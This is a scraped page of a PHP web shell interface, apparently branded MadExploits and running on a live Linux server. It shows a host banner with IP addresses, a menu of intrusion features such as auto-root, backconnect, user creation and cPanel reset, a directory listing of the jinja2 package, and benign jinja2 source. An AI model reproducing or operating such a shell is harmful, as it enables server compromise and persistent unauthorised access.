Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.89.89
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
jinja2 /
[ HOME SHELL ]
Name
Size
Permission
Action
testsuite
[ DIR ]
drwxr-xr-x
__init__.py
2.22
KB
-rw-r--r--
__init__.pyc
2.38
KB
-rw-r--r--
__init__.pyo
2.38
KB
-rw-r--r--
_compat.py
3.95
KB
-rw-r--r--
_compat.pyc
5.99
KB
-rw-r--r--
_compat.pyo
5.99
KB
-rw-r--r--
_stringdefs.py
394.82
KB
-rw-r--r--
_stringdefs.pyc
203.64
KB
-rw-r--r--
_stringdefs.pyo
203.64
KB
-rw-r--r--
bccache.py
12.04
KB
-rw-r--r--
bccache.pyc
13.85
KB
-rw-r--r--
bccache.pyo
13.85
KB
-rw-r--r--
compiler.py
60.34
KB
-rw-r--r--
compiler.pyc
53.21
KB
-rw-r--r--
compiler.pyo
53.15
KB
-rw-r--r--
constants.py
1.59
KB
-rw-r--r--
constants.pyc
1.65
KB
-rw-r--r--
constants.pyo
1.65
KB
-rw-r--r--
debug.py
10.72
KB
-rw-r--r--
debug.pyc
10.45
KB
-rw-r--r--
debug.pyo
10.37
KB
-rw-r--r--
defaults.py
1.03
KB
-rw-r--r--
defaults.pyc
1.46
KB
-rw-r--r--
defaults.pyo
1.46
KB
-rw-r--r--
environment.py
46.14
KB
-rw-r--r--
environment.pyc
45
KB
-rw-r--r--
environment.pyo
44.59
KB
-rw-r--r--
exceptions.py
4.32
KB
-rw-r--r--
exceptions.pyc
6.11
KB
-rw-r--r--
exceptions.pyo
6.11
KB
-rw-r--r--
ext.py
24.49
KB
-rw-r--r--
ext.pyc
23.5
KB
-rw-r--r--
ext.pyo
23.43
KB
-rw-r--r--
filters.py
29.14
KB
-rw-r--r--
filters.pyc
33.13
KB
-rw-r--r--
filters.pyo
33.13
KB
-rw-r--r--
lexer.py
27.73
KB
-rw-r--r--
lexer.pyc
22.11
KB
-rw-r--r--
lexer.pyo
21.95
KB
-rw-r--r--
loaders.py
16.64
KB
-rw-r--r--
loaders.pyc
18.5
KB
-rw-r--r--
loaders.pyo
18.5
KB
-rw-r--r--
meta.py
4.09
KB
-rw-r--r--
meta.pyc
3.92
KB
-rw-r--r--
meta.pyo
3.92
KB
-rw-r--r--
nodes.py
28.23
KB
-rw-r--r--
nodes.pyc
41.54
KB
-rw-r--r--
nodes.pyo
41.06
KB
-rw-r--r--
optimizer.py
2.25
KB
-rw-r--r--
optimizer.pyc
2.78
KB
-rw-r--r--
optimizer.pyo
2.78
KB
-rw-r--r--
parser.py
34.36
KB
-rw-r--r--
parser.pyc
30.5
KB
-rw-r--r--
parser.pyo
30.5
KB
-rw-r--r--
runtime.py
19.1
KB
-rw-r--r--
runtime.pyc
22.5
KB
-rw-r--r--
runtime.pyo
22.46
KB
-rw-r--r--
sandbox.py
18.09
KB
-rw-r--r--
sandbox.pyc
17.23
KB
-rw-r--r--
sandbox.pyo
17.23
KB
-rw-r--r--
tests.py
3.36
KB
-rw-r--r--
tests.pyc
4.93
KB
-rw-r--r--
tests.pyo
4.93
KB
-rw-r--r--
utils.py
15.79
KB
-rw-r--r--
utils.pyc
19.08
KB
-rw-r--r--
utils.pyo
19.08
KB
-rw-r--r--
visitor.py
3.24
KB
-rw-r--r--
visitor.pyc
3.72
KB
-rw-r--r--
visitor.pyo
3.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : visitor.py
# -*- coding: utf-8 -*- """ jinja2.visitor ~~~~~~~~~~~~~~ This module implements a visitor for the nodes. :copyright: (c) 2010 by the Jinja Team. :license: BSD. """ from jinja2.nodes import Node class NodeVisitor(object): """Walks the abstract syntax tree and call visitor functions for every node found. The visitor functions may return values which will be forwarded by the `visit` method. Per default the visitor functions for the nodes are ``'visit_'`` + class name of the node. So a `TryFinally` node visit function would be `visit_TryFinally`. This behavior can be changed by overriding the `get_visitor` function. If no visitor function exists for a node (return value `None`) the `generic_visit` visitor is used instead. """ def get_visitor(self, node): """Return the visitor function for this node or `None` if no visitor exists for this node. In that case the generic visit function is used instead. """ method = 'visit_' + node.__class__.__name__ return getattr(self, method, None) def visit(self, node, *args, **kwargs): """Visit a node.""" f = self.get_visitor(node) if f is not None: return f(node, *args, **kwargs) return self.generic_visit(node, *args, **kwargs) def generic_visit(self, node, *args, **kwargs): """Called if no explicit visitor function exists for a node.""" for node in node.iter_child_nodes(): self.visit(node, *args, **kwargs) class NodeTransformer(NodeVisitor): """Walks the abstract syntax tree and allows modifications of nodes. The `NodeTransformer` will walk the AST and use the return value of the visitor functions to replace or remove the old node. If the return value of the visitor function is `None` the node will be removed from the previous location otherwise it's replaced with the return value. The return value may be the original node in which case no replacement takes place. """ def generic_visit(self, node, *args, **kwargs): for field, old_value in node.iter_fields(): if isinstance(old_value, list): new_values = [] for value in old_value: if isinstance(value, Node): value = self.visit(value, *args, **kwargs) if value is None: continue elif not isinstance(value, Node): new_values.extend(value) continue new_values.append(value) old_value[:] = new_values elif isinstance(old_value, Node): new_node = self.visit(old_value, *args, **kwargs) if new_node is None: delattr(node, field) else: setattr(node, field, new_node) return node def visit_list(self, node, *args, **kwargs): """As transformers may return lists in some places this method can be used to enforce a list as return value. """ rv = self.visit(node, *args, **kwargs) if not isinstance(rv, list): rv = [rv] return rv
Close